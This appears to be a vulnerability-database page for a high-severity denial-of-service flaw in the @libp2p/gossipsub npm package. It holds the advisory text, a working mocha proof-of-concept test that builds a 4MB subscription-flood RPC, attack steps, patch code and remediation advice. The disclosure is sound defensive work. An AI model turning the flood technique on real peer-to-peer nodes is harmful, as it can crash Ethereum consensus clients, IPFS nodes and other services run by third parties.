@libp2p/gossipsub CVE-2026-46679
HIGHSeverity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Primary rating from Vendor (https://github.com/libp2p/js-libp2p) · only source for this CVE.
CVSS VectorVendor: https://github.com/libp2p/js-libp2p
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Lifecycle Timeline
2Blast Radius
ecosystem impact- 47 npm packages depend on @libp2p/gossipsub (20 direct, 27 indirect)
Ecosystem-wide dependent count for version 15.0.23.
DescriptionCVE.org
Summary
Three cooperating omissions in @libp2p/gossipsub allow an unauthenticated single peer to exhaust the Node.js heap of any gossipsub node with default options.
defaultDecodeRpcLimits.maxSubscriptions = Infinity(packages/gossipsub/src/message/decodeRpc.ts:11): no decode-level cap on subscription entries per RPC.handleReceivedSubscriptionis unbounded (gossipsub.ts:1009-1021): every unique topic string creates a newMapentry +Setobject inthis.topicswith no per-peer count limit.removePeerleaves empty Sets (gossipsub.ts:782-784): after peer disconnect, empty Sets are never deleted fromthis.topicsthus memory is non-reclaimable within the process lifetime.
A single 4MB LP frame carries 349,525 unique topic SUBSCRIBE entries. Each frame causes ~89MB of heap growth (~22x amplification). A Node.js process with a 1.5GB heap limit crashes after ~17 such frames (~68MB total attacker bandwidth, achievable in ~5 seconds at 100Mbps).
Details
Defect 1: defaultDecodeRpcLimits.maxSubscriptions = Infinity (message/decodeRpc.ts:11)
export const defaultDecodeRpcLimits: DecodeRPCLimits = {
maxSubscriptions: Infinity, // <- no decode-level cap
// ...
}Passed directly to the protobuf decoder at gossipsub.ts:863. A single RPC may decode 349,525 SUBSCRIBE entries within the 4MB LP frame with no error.
Defect 2: handleReceivedSubscription unbounded growth (gossipsub.ts:1009-1021)
let topicSet = this.topics.get(topic)
if (topicSet == null) {
topicSet = new Set()
this.topics.set(topic, topicSet) // new entry per unique topic, no count guard
}
topicSet.add(from.toString())this.topics (Map<TopicStr, Set<PeerIdStr>>, gossipsub.ts:141) has no size limit. No per-peer topic count is tracked. No heartbeat evicts unused entries. A comment at gossipsub.ts:960 acknowledges the map is "not bounded by topic count", but only for the allowedTopics != null branch, the default is null.
Defect 3: removePeer memory leak (gossipsub.ts:782-784)
for (const peers of this.topics.values()) {
peers.delete(id)
// empty Set is NOT removed from this.topics
}After disconnect, this.topics retains N empty Sets, one per unique attacker topic. stop() (lines 575-602) clears 12 data structures but not this.topics. Memory is leaked for the process lifetime.
Secondary: the O(topics.size) synchronous scan in removePeer grows as this.topics accumulates from repeated attacks. After 17 rounds, the scan iterates ~6M entries each time any peer disconnects.
Attack path
- Attacker dials victim and opens a gossipsub stream.
- Score 0 >
gossipThreshold = −10thus subscriptions are processed immediately. No score check gates subscription handling. - Attacker constructs an RPC: 349,525 SUBSCRIBE entries with sequential 6-char topics. Total encoded size: 4.00 MB.
- Victim's
handleReceivedRpccallsrpc.subscriptions.forEach(...)→ 349,525 calls tohandleReceivedSubscription->this.topicsgrows by 349,525 entries -> ~89MB heap consumed -> ~224ms event-loop blocked. - Attacker reconnects. No score decay or penalty applies to subscription RPCs. Repeat.
- After ~17 rounds (68MB attacker bandwidth): Node.js OOM (Out-Of-Memory) crash.
PoC
Steps to reproduce (confirmed unpatched at HEAD 9eb27be79):
$ git clone https://github.com/libp2p/js-libp2p.git
$ cd js-libp2p
$ npm install
$ cd packages/gossipsub
$ npx aegir build
$ node --experimental-vm-modules ../../node_modules/.bin/mocha 'dist/test/poc.js' --timeout 60000File PoC:
/* eslint-env mocha */
import { stop } from '@libp2p/interface'
import assert from 'node:assert'
import { performance } from 'node:perf_hooks'
import { RPC } from '../src/message/rpc.js'
import { createComponents, connectPubsubNodes } from './utils/create-pubsub.js'
import type { GossipSubAndComponents } from './utils/create-pubsub.js'
// Number of unique topics per attack RPC (for direct injection tests).
// Chosen to demonstrate impact without LP-framing; the ENCODE test shows
// how many actually fit in one 4 MB frame.
const UNIQUE_TOPICS_PER_RPC = 349_000
// Build a protobuf-encoded RPC with N unique SUBSCRIBE entries.
// Uses minimal 2-char topic strings ("00".."zz") to maximise packing.
// SubOpts(subscribe=true, topic=2chars): 2 + (2+2) = 6 bytes per entry.
// Outer RPC field: tag+len ≈ 2 bytes -> ~8 bytes total per subscription.
// 4 MB / 8 bytes ≈ 524K subscriptions per frame.
function buildSubscriptionFloodRpc (count: number): Uint8Array {
const subscriptions = Array.from({ length: count }, (_, i) => ({
subscribe: true,
// Sequential 6-char decimal topics: short but still unique
topic: i.toString().padStart(6, '0')
}))
return RPC.encode({ subscriptions, messages: [], control: undefined })
}
// Binary-search the exact number of unique 6-char topics that fit in 4 MB.
function maxTopicsIn4MB (): number {
const MAX_LP_BYTES = 4 * 1024 * 1024
let lo = 1; let hi = 600_000
while (lo < hi) {
const mid = (lo + hi + 1) >> 1
if (buildSubscriptionFloodRpc(mid).byteLength <= MAX_LP_BYTES) {
lo = mid
} else {
hi = mid - 1
}
}
return lo
}
describe('PoC: Memory DoS via subscription flood of unique topics', function () {
this.timeout(60_000)
let victim: GossipSubAndComponents
let attacker: GossipSubAndComponents
beforeEach(async () => {
;[victim, attacker] = await Promise.all([
createComponents({ init: { allowPublishToZeroTopicPeers: true } }),
createComponents({ init: { allowPublishToZeroTopicPeers: true } })
])
await connectPubsubNodes(victim, attacker)
})
afterEach(async () => {
await stop(
victim.pubsub, attacker.pubsub,
...Object.values(victim.components),
...Object.values(attacker.components)
)
})
it('FLOOD: unique topic subscriptions accumulate unboundedly in this.topics', () => {
const victimPubsub = victim.pubsub as any
const attackerIdStr = attacker.components.peerId.toString()
const topicsBefore = victimPubsub.topics.size as number
const heapBefore = process.memoryUsage().heapUsed
// Simulate one round of subscription flood: inject UNIQUE_TOPICS_PER_RPC
// unique topics directly via handleReceivedSubscription (the exact function
// called synchronously from handleReceivedRpc for each decoded SubOpts entry).
const t0 = performance.now()
for (let i = 0; i < UNIQUE_TOPICS_PER_RPC; i++) {
victimPubsub.handleReceivedSubscription(
{ toString: () => attackerIdStr } as any,
`poc-sub-flood-${i.toString().padStart(6, '0')}`,
true
)
}
const elapsed = performance.now() - t0
const topicsAfter = victimPubsub.topics.size as number
const heapAfterBytes = process.memoryUsage().heapUsed
const heapGrowthMB = (heapAfterBytes - heapBefore) / (1024 * 1024)
const newTopics = topicsAfter - topicsBefore
console.log(`\n[PoC] Unique topics injected: ${UNIQUE_TOPICS_PER_RPC.toLocaleString()}`)
console.log(`[PoC] this.topics.size: ${topicsBefore} -> ${topicsAfter} (grew by ${newTopics.toLocaleString()})`)
console.log(`[PoC] Heap growth (approx): ${heapGrowthMB.toFixed(0)} MB`)
console.log(`[PoC] Time to process: ${elapsed.toFixed(0)} ms (event-loop blocked)`)
console.log(`[PoC] Amplification: ${(heapGrowthMB / 4).toFixed(1)}x (MB heap per MB of attacker traffic)`)
// All unique topics must be present in the map - no dedup for unique strings
assert.strictEqual(newTopics, UNIQUE_TOPICS_PER_RPC,
`expected this.topics to grow by ${UNIQUE_TOPICS_PER_RPC}, grew by ${newTopics}`)
// Must be non-trivial heap growth
assert.ok(heapGrowthMB > 20,
`expected >20 MB heap growth from ${UNIQUE_TOPICS_PER_RPC} unique topics, got ${heapGrowthMB.toFixed(0)} MB`)
})
it('PERSIST: empty Sets remain in this.topics after peer disconnect (no GC)', () => {
const victimPubsub = victim.pubsub as any
const attackerIdStr = attacker.components.peerId.toString()
// Flood with unique topics
for (let i = 0; i < UNIQUE_TOPICS_PER_RPC; i++) {
victimPubsub.handleReceivedSubscription(
{ toString: () => attackerIdStr } as any,
`poc-persist-${i.toString().padStart(6, '0')}`,
true
)
}
const topicsBeforeDisconnect = victimPubsub.topics.size as number
// Simulate peer disconnect, this removes the peer ID from each Set but
// does NOT delete empty Sets from this.topics.
const tDisconnect = performance.now()
victimPubsub.removePeer(attacker.components.peerId)
const disconnectMs = performance.now() - tDisconnect
const topicsAfterDisconnect = victimPubsub.topics.size as number
console.log(`\n[PoC] this.topics.size before disconnect: ${topicsBeforeDisconnect.toLocaleString()}`)
console.log(`[PoC] this.topics.size after disconnect: ${topicsAfterDisconnect.toLocaleString()}`)
console.log(`[PoC] removePeer() took: ${disconnectMs.toFixed(0)} ms (synchronous O(topics.size) scan)`)
console.log(`[PoC] Empty Sets retained: ${topicsAfterDisconnect.toLocaleString()} -> memory not freed`)
// Topics Map is unchanged in SIZE - empty Sets persist
assert.strictEqual(topicsAfterDisconnect, topicsBeforeDisconnect,
`this.topics.size should be unchanged after disconnect (empty Sets persist); ` +
`was ${topicsBeforeDisconnect}, now ${topicsAfterDisconnect}`)
// removePeer O(N) scan should take non-trivial time with 349K entries
assert.ok(disconnectMs > 5,
`expected removePeer to take >5ms scanning ${topicsBeforeDisconnect} topics, got ${disconnectMs.toFixed(0)} ms`)
// Verify Sets are actually empty (peer removed from each)
let emptyCount = 0
for (const [, peers] of victimPubsub.topics) {
if ((peers as Set<string>).size === 0) emptyCount++
}
assert.ok(emptyCount >= UNIQUE_TOPICS_PER_RPC,
`expected ≥${UNIQUE_TOPICS_PER_RPC} empty Sets after disconnect, found ${emptyCount}`)
})
it('ENCODE: subscription flood RPC fits within 4 MB LP frame: confirms no LP-level protection', function () {
this.timeout(30_000)
const MAX_LP_BYTES = 4 * 1024 * 1024
// Find exact maximum with binary search
const maxCount = maxTopicsIn4MB()
const rpc = buildSubscriptionFloodRpc(maxCount)
const ampRatio = (maxCount * 260 / (1024 * 1024)) / 4
console.log(`\n[PoC] Max subscriptions in 4 MB frame: ${maxCount.toLocaleString()}`)
console.log(`[PoC] Serialised RPC size: ${(rpc.byteLength / (1024 * 1024)).toFixed(2)} MB`)
console.log(`[PoC] LP frame limit: ${(MAX_LP_BYTES / (1024 * 1024)).toFixed(0)} MB`)
console.log(`[PoC] Fits in one frame: ${rpc.byteLength <= MAX_LP_BYTES ? 'YES ✓' : 'NO ✗'}`)
console.log(`[PoC] defaultDecodeRpcLimits.maxSubscriptions = Infinity (no decode-level cap)`)
console.log(`[PoC] Heap growth per 4 MB sent: ~${Math.round(maxCount * 260 / (1024 * 1024))} MB (${ampRatio.toFixed(1)}x amplification)`)
assert.ok(rpc.byteLength <= MAX_LP_BYTES,
`crafted RPC (${rpc.byteLength} bytes) must fit in the 4 MB LP default - confirms no LP-level protection`)
assert.ok(maxCount > 100_000,
`expected >100K subscriptions per 4 MB frame, got ${maxCount}`)
})
})Impact
- Availability (memory): single peer, ~68MB bandwidth -> OOM crash in ~5s at 100Mbps. Non-recoverable within process lifetime thus memory never freed even if attacker disconnects.
- Availability (CPU): 224ms event-loop block per 4MB subscription RPC (synchronous
forEach); grows with accumulated attack state. - No score mitigation: subscription processing has no score check and no score penalty for flooding.
- Affected deployments: any node running
@libp2p/gossipsubwith default options that accepts inbound connections: Lodestar (Ethereum consensus), IPFS pubsub, anycreateLibp2p({ services: { pubsub: gossipsub() } }). - Partial mitigation only: setting
opts.allowedTopicscaps growth toallowedTopics.sizetopics per attacker; does not fix the memory leak for allowed topics or the O(N)removePeerscan.
Suggested remediation
Delete empty Sets on unsubscribe and disconnect:
// handleReceivedSubscription
} else {
topicSet.delete(from.toString())
if (topicSet.size === 0) this.topics.delete(topic)
}
// removePeer
for (const [topic, peers] of this.topics) {
peers.delete(id)
if (peers.size === 0) this.topics.delete(topic)
}Clear this.topics in stop():
this.topics.clear()AnalysisAI
Remote denial-of-service in @libp2p/gossipsub (versions <= 15.0.22) allows a single unauthenticated peer to exhaust the Node.js heap of any gossipsub node running default options. Three cooperating defects - an uncapped decode limit (maxSubscriptions = Infinity), unbounded growth of the internal this.topics Map on subscription handling, and a memory leak that leaves empty Sets behind on peer disconnect - combine to produce ~22x amplification, crashing a 1.5GB-heap process after roughly 68MB of attacker bandwidth (~5 seconds at 100Mbps). A working PoC is published in the GitHub Security Advisory GHSA-4f8r-922h-2vgv; no public exploit identified at time of analysis as a separate weaponized tool, but the advisory itself contains reproducible test code.
Technical ContextAI
@libp2p/gossipsub is the JavaScript/TypeScript implementation of the GossipSub pub/sub routing protocol used by libp2p, the peer-to-peer networking stack behind IPFS, Lodestar (Ethereum consensus client), and other decentralized systems. GossipSub peers exchange RPC messages over length-prefixed (LP) streams; each RPC may carry SUBSCRIBE/UNSUBSCRIBE entries that mutate a peer's internal topic membership state. The root cause class is CWE-20 (Improper Input Validation): decodeRpc.ts ships defaultDecodeRpcLimits.maxSubscriptions = Infinity, so the protobuf decoder accepts arbitrarily many SUBSCRIBE entries within a single 4MB LP frame (~349,525 entries fit). handleReceivedSubscription then unconditionally allocates a new Map entry and Set object per unique topic string in this.topics: Map<TopicStr, Set<PeerIdStr>>, with no per-peer cap and no heartbeat-based eviction. Finally, removePeer iterates topic Sets removing the peer ID but never deletes Sets that become empty, and stop() does not clear this.topics - so the leaked entries persist for the process lifetime. The affected CPE is pkg:npm/@libp2p_gossipsub.
RemediationAI
Vendor-released patch: @libp2p/gossipsub 15.0.23 - upgrade immediately by running npm install @libp2p/gossipsub@^15.0.23 (or the equivalent yarn/pnpm command) and rebuilding any downstream packages such as Lodestar or IPFS nodes that bundle it. The fix, described in the advisory at https://github.com/libp2p/js-libp2p/security/advisories/GHSA-4f8r-922h-2vgv, deletes empty Sets from this.topics on unsubscribe and on removePeer, and clears this.topics in stop(). If upgrade cannot be performed immediately, a partial compensating control is to pass a non-null opts.allowedTopics list when constructing gossipsub - this caps topic growth to allowedTopics.size entries per attacker, but the side effect is that the node will silently ignore any topic outside the allowlist, which breaks dynamic topic discovery patterns; it also does not fix the leak for allowed topics nor the O(N) removePeer scan, so it only narrows the attack surface rather than closing it. Additional defensive measures (not substitutes for the patch) include restricting inbound libp2p connections to known peers via connection gating, increasing the Node.js --max-old-space-size to raise the OOM threshold (extends time-to-crash only), and monitoring this.topics.size or process RSS for anomalous growth so operators can restart before OOM.
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rat
The HTTP server in Node.js 0.10.x before 0.10.21 and 0.8.x before 0.8.26 allows remote attackers to cause a denial of se
Same weakness CWE-20 – Improper Input Validation
View allSame technique Denial Of Service
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-4f8r-922h-2vgv